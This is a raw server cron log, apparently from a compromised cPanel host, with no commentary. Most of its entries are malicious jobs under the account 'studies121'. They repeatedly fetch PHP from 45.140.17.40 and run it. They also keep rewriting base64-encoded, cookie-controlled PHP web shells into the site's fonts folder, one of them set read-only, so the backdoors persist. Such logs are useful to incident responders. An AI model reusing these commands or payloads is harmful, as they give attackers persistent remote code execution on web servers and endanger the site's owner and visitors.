Sep 22 06:40:01 ip-184-168-122-23 CROND[6282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:40:01 ip-184-168-122-23 CROND[6283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:40:01 ip-184-168-122-23 CROND[6284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:40:01 ip-184-168-122-23 CROND[6288]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 06:40:01 ip-184-168-122-23 CROND[6289]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:40:01 ip-184-168-122-23 CROND[6292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:40:01 ip-184-168-122-23 CROND[6290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:41:01 ip-184-168-122-23 CROND[6421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:41:01 ip-184-168-122-23 CROND[6423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:41:01 ip-184-168-122-23 CROND[6427]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:41:01 ip-184-168-122-23 CROND[6428]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:42:01 ip-184-168-122-23 CROND[6591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:42:02 ip-184-168-122-23 CROND[6593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:42:02 ip-184-168-122-23 CROND[6594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:42:02 ip-184-168-122-23 CROND[6595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:42:02 ip-184-168-122-23 CROND[6596]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:43:01 ip-184-168-122-23 CROND[6746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:43:01 ip-184-168-122-23 CROND[6745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:43:01 ip-184-168-122-23 CROND[6747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:43:01 ip-184-168-122-23 CROND[6748]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:44:01 ip-184-168-122-23 CROND[6891]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:44:01 ip-184-168-122-23 CROND[6893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:44:01 ip-184-168-122-23 CROND[6895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:44:01 ip-184-168-122-23 CROND[6894]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:44:01 ip-184-168-122-23 CROND[6896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:45:01 ip-184-168-122-23 CROND[7110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:45:01 ip-184-168-122-23 CROND[7111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:45:01 ip-184-168-122-23 CROND[7112]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:45:01 ip-184-168-122-23 CROND[7115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:45:01 ip-184-168-122-23 CROND[7113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:45:01 ip-184-168-122-23 CROND[7114]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:46:01 ip-184-168-122-23 CROND[7325]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 06:46:01 ip-184-168-122-23 CROND[7326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:46:01 ip-184-168-122-23 CROND[7327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:46:01 ip-184-168-122-23 CROND[7333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:46:01 ip-184-168-122-23 CROND[7332]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 06:46:01 ip-184-168-122-23 CROND[7334]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:46:01 ip-184-168-122-23 CROND[7331]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:47:01 ip-184-168-122-23 CROND[7466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:47:01 ip-184-168-122-23 CROND[7467]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:47:01 ip-184-168-122-23 CROND[7469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:47:01 ip-184-168-122-23 CROND[7470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:48:01 ip-184-168-122-23 CROND[7630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:48:01 ip-184-168-122-23 CROND[7632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:48:01 ip-184-168-122-23 CROND[7633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:48:01 ip-184-168-122-23 CROND[7634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:48:01 ip-184-168-122-23 CROND[7636]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:49:01 ip-184-168-122-23 CROND[7742]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:49:01 ip-184-168-122-23 CROND[7744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:49:01 ip-184-168-122-23 CROND[7745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:49:01 ip-184-168-122-23 CROND[7743]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:50:01 ip-184-168-122-23 CROND[7884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:50:01 ip-184-168-122-23 CROND[7886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:50:01 ip-184-168-122-23 CROND[7887]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:50:01 ip-184-168-122-23 CROND[7892]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 06:50:01 ip-184-168-122-23 CROND[7894]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:50:01 ip-184-168-122-23 CROND[7896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:50:01 ip-184-168-122-23 CROND[7897]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:50:01 ip-184-168-122-23 CROND[7893]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:50:01 ip-184-168-122-23 CROND[7899]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 06:51:01 ip-184-168-122-23 CROND[8057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:51:01 ip-184-168-122-23 CROND[8059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:51:01 ip-184-168-122-23 CROND[8060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:51:01 ip-184-168-122-23 CROND[8061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:52:01 ip-184-168-122-23 CROND[8209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:52:01 ip-184-168-122-23 CROND[8211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
